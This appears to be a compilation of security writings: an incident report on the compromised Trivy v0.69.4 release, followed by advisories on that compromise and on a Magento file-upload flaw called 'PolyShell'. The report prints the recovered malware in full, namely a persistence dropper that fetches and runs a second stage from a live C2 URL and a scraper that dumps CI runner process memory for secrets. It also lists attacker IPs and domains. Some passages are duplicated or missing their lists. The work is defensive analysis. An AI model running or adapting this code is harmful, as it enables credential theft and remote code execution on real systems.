We ran TruffleHog against all 24 buckets and found 5 RSA private keys in cleartext in one bucket used for JWT signing. TruffleHog is pattern-based though: it catches known secret formats but misses database passwords and API keys stored as plain values in terraform state files.
With iam:* permissions, the attacker could have created backdoor users, roles, or access keys that would survive key rotation. We pulled full IAM state dumps from both accounts. No backdoor users, roles, or keys were created. No policies modified. No trust relationships changed. The attacker stuck to reconnaissance.
The second infection was not detected by an alert. The client's EDR had full telemetry of the compromised binary's execution, including the characteristic pgrep -f Runner.Worker child processes, but did not flag the malicious ELF file at the time it ran.
We identified the infection through proactive hunting. When the TeamPCP campaign IOCs were published, we matched the compromised Trivy v0.69.4 binary hash (822dd269ec10459572dfaaefe163dae693c344249a0161953f0d5cdd110bd2a0) against our clients' container image inventories and found a hit. The client had been running aquasec/trivy:latest with Watchtower auto-update enabled. When TeamPCP pushed the compromised image to Docker Hub, Watchtower pulled and deployed it automatically.
import urllib.request
import os
import subprocess
import time
C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"
def g():
try:
req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return None
def e(l):
try:
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
with open(STATE, "w") as f:
f.write(l)
except:
pass
if __name__ == "__main__":
time.sleep(300)
while True:
l = g()
prev = ""
if os.path.exists(STATE):
try:
with open(STATE, "r") as f:
prev = f.read().strip()
except:
pass
if l and l != prev and "youtube.com" not in l:
e(l)
time.sleep(3000)Unlike the Action variant (a shell script injected into entrypoint.sh), the binary variant compiles the malicious code directly into the Trivy Go binary. Aqua Security cleaned the repository and deleted the v0.69.4 tag. The malicious Go source files (scand.go, fork_unix.go) are no longer accessible on GitHub. But the compiled binary preserves everything.
Using strings extraction on the 153MB stripped ELF binary, we confirmed the malicious infrastructure compiled into the binary: the C2 URL (scan.aquasecurtiy[.]org), the GitHub fallback exfil pattern (tpcp-docs repository creation + release upload), the credential sweep file paths, and the persistence artifacts.
We also extracted two base64-encoded Python payloads embedded in the Go binary:
Payload 1: Memory scraper. Identical to the Action variant's GitHub-hosted runner path. Targets the Runner.Worker process via /proc/PID/mem, pattern-matching for {"value":"<secret>","isSecret":true}.
import sys
import os
import re
def get_pid():
for pid in (p for p in os.listdir('/proc') if p.isdigit()):
try:
with open(os.path.join('/proc',pid,'cmdline'),'rb') as f:
if b'Runner.Worker' in f.read():return pid
except OSError:continue
raise SystemExit(0)
pid=get_pid()
map_path=f"/proc/{pid}/maps"
mem_path=f"/proc/{pid}/mem"
with open(map_path,'r') as map_f,open(mem_path,'rb',0) as mem_f:
for line in map_f:
m=re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])',line)
if not m or m.group(3)!='r':continue
start=int(m.group(1),16);end=int(m.group(2),16)
if start>sys.maxsize:continue
mem_f.seek(start)
try:
chunk=mem_f.read(end-start);sys.stdout.buffer.write(chunk)
except OSError:continuePayload 2: The sysmon.py persistence dropper. This is what sets the binary variant apart:
import urllib.request
import os
import subprocess
import time
C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"
def g():
try:
req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return None
def e(l):
try:
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
with open(STATE, "w") as f:
f.write(l)
except:
pass
if __name__ == "__main__":
time.sleep(300)
while True:
l = g()
prev = ""
if os.path.exists(STATE):
try:
with open(STATE, "r") as f:
prev = f.read().strip()
except:
pass
if l and l != prev and "youtube.com" not in l:
e(l)
time.sleep(3000)
The binary checks the GITHUB_ACTIONS environment variable. If absent (meaning it's running on a developer machine or standalone server, not in CI), it writes this Python script to ~/.config/systemd/user/sysmon.py and creates a systemd unit for persistence. The dropper sleeps 5 minutes, then polls the ICP blockchain-hosted C2 for a second-stage payload URL, downloads it to /tmp/pglog, and executes it.
This is a significant escalation over the Action variant. The Action is fire-and-forget: it runs once during a CI pipeline and exfiltrates what it finds. The binary adds a persistent backdoor that survives reboots and maintains ongoing access through a takedown-resistant C2 hosted on the Internet Computer Protocol.
Three of the four IPs are VPN exit nodes on Datacamp Limited (AS212238, Sweden and Croatia) and Host Universal (AS136557, New Zealand). Disposable anonymization infrastructure with no prior reputation in any threat intelligence feed.
The outlier is 209.159.147.239, an Interserver VPS in New York, the only one of the four with open services. It runs:
nsa[.]catThe TLS certificate on port 443 revealed the domain. The certificate's Common Name is nsa[.]cat, linking the IP to the domain. Pivoting on the domain:
209.159.147.239This is the attacker's operational server. They used it to run TruffleHog against stolen AWS keys (confirmed by the TruffleHog user agent in CloudTrail pointing to this IP). It hosts MinIO, a natural place to stage stolen credential bundles before processing. The 401 on nginx indicates a gated panel or API for managing operations. The other three IPs are throwaway VPN exits; this one is infrastructure the attacker owns and operates.
During continued monitoring of this VPS, we found a Python HTTP server running on port 888 serving an open directory with two files:
bomgar.txt (900K lines): a list of domains containing substrings like access, remote, rdweb, gateway, and secure-access. "Bomgar" is the former name of BeyondTrust Remote Support. This is a target list: domains with exposed BeyondTrust remote access endpoints. This is notable given the recent CVE-2026-1731, a pre-authentication remote code execution vulnerability in BeyondTrust Remote Support.raw_domains.txt (6.6 million lines): a massive domain list, likely scraped from Certificate Transparency logs or passive DNS datasets, used as input for the Bomgar scan.This server looks like not just a credential staging point. The attacker is also using it to build target lists for exploiting remote access infrastructure.
iam:*, s3:*, lambda:*, and 6 other full-service permissions on Resource: *. The attacker enumerated IAM users, Lambda functions, DynamoDB tables, CloudFormation stacks, and scanned every S3 bucket across production and non-production. A scoped policy, only the specific permissions the pipeline actually needs on the specific resources it touches, would have reduced the blast radius from full cloud enumeration to a single service.image: aquasec/trivy@sha256:... instead of image: aquasec/trivy:latest. Tags can be force-pushed to point to a different image; digests cannot. Combined with Watchtower or similar auto-update tools, a :latest tag becomes an auto-deploy mechanism for supply-chain attacks.latest tags auto-deployed the compromised image without human review. Auto-update is convenient in development; in production, it's an uncontrolled deployment pipeline.
PolyShell is a critical vulnerability affecting Magento Open Source 2 and Adobe Commerce platforms. It targets the REST API responsible for file uploads in custom product options within the shopping cart. The vulnerability is actively exploited in the wild, with attacks beginning shortly after public disclosure. Successful exploitation may result in:
Due to the nature of e-commerce systems handling sensitive customer and payment data, this vulnerability presents a high to critical risk to affected organizations.
The PolyShell vulnerability affects Magento Open Source 2 and Adobe Commerce instances that have not yet applied the official patch addressing unrestricted file uploads in custom product options via the REST API.
Specifically affected systems include:
Key considerations:
The vulnerability originates from improper handling of file uploads via the Magento REST API in the context of custom product options. Attackers can exploit this by uploading polyglot files—files crafted to be interpreted differently by various components (e.g., application logic, web server, validation layers). If validation mechanisms are insufficient, this can lead to:
Observed attack techniques include:
These techniques reduce visibility for traditional security monitoring tools and increase attacker dwell time.
Organizations should treat this vulnerability as a priority and implement both remediation and detection measures immediately:
pub/media/custom_options/ directoryEnforce strict validation of:
Ensure secure file storage and handling on the server side.
Scan for:
Monitor outbound traffic, especially:
Use indicators of compromise (IoCs) and IP addresses reported in references for detection.
Prepare and execute an incident response plan including:
The CFC is monitoring the situation and this advisory will be updated if required, or when more information becomes available.
A recent supply chain incident involving Trivy resulted in the distribution of a malicious release v0.69.4 after attackers compromised the project’s release process via GitHub. The attacker manipulated Git tags to point to unauthorized code, effectively bypassing normal trust assumptions tied to versioned releases. This event follows an earlier Trivy-related security issue but represents a distinct and more targeted attack on release integrity, where users consuming tagged versions were exposed to tampered artifacts. It is important to note that this has been reported as being actively exploited.
- GitHub releases without signature validation
The attackers exploited control over the repository’s release process, specifically the ability to manipulate Git tags and associated release artifacts. By reassigning the trusted version identifier v0.69.4 to malicious code, they were able to bypass traditional trust mechanisms that rely on semantic versioning and tagged releases. This allowed the malicious version to appear legitimate to both users and automated systems without requiring changes to the visible development workflow or source code review process.
After obtaining sufficient access to the repository, the attacker modified the Git tagging structure to introduce or overwrite the v0.69.4 tag, pointing it to a malicious commit outside the expected code lineage. This effectively weaponized the tag itself, transforming it into a delivery mechanism for attacker-controlled code while retaining the appearance of a valid release.
With the tag in place, the attacker ensured that a corresponding GitHub release was available and associated with the compromised tag. This release contained malicious binaries that, when executed, performed unauthorized data exfiltration activities. Specifically, the binaries attempted to collect sensitive information from the execution environment, including environment variables, configuration data, and authentication tokens, and transmit this data to attacker-controlled infrastructure.
The malicious binaries are particularly dangerous in CI/CD environments, where Trivy is commonly executed with access to:
Upon execution, the payload leveraged this access to extract available sensitive data and initiate outbound network connections to exfiltrate it. Because these actions occurred within legitimate pipeline executions, they could blend in with normal network activity and evade immediate detection.
The success of the attack relied heavily on downstream automation. CI/CD pipelines and developer workflows that referenced v0.69.4, either through GitHub Actions (uses: aquasecurity/[email protected]) or direct Git operations, automatically retrieved and executed the compromised version. This meant the attacker did not need to directly target individual systems; instead, they leveraged existing update mechanisms to propagate the malicious code broadly and efficiently.
Once executed, the compromised Trivy binary operated within highly trusted contexts such as build pipelines and security scanning processes. In these environments, the tool often has broad access to sensitive data, significantly increasing the potential impact of the exfiltration behavior.
If v0.69.4 was used in any capacity:
The CFC is monitoring the situation and this advisory will be updated if required, or when more information is made available.
https://www.stepsecurity.io/blog/trivy-compromised-a-second-time---malicious-v0-69-4-release
https://socket.dev/blog/trivy-under-attack-again-github-actions-compromise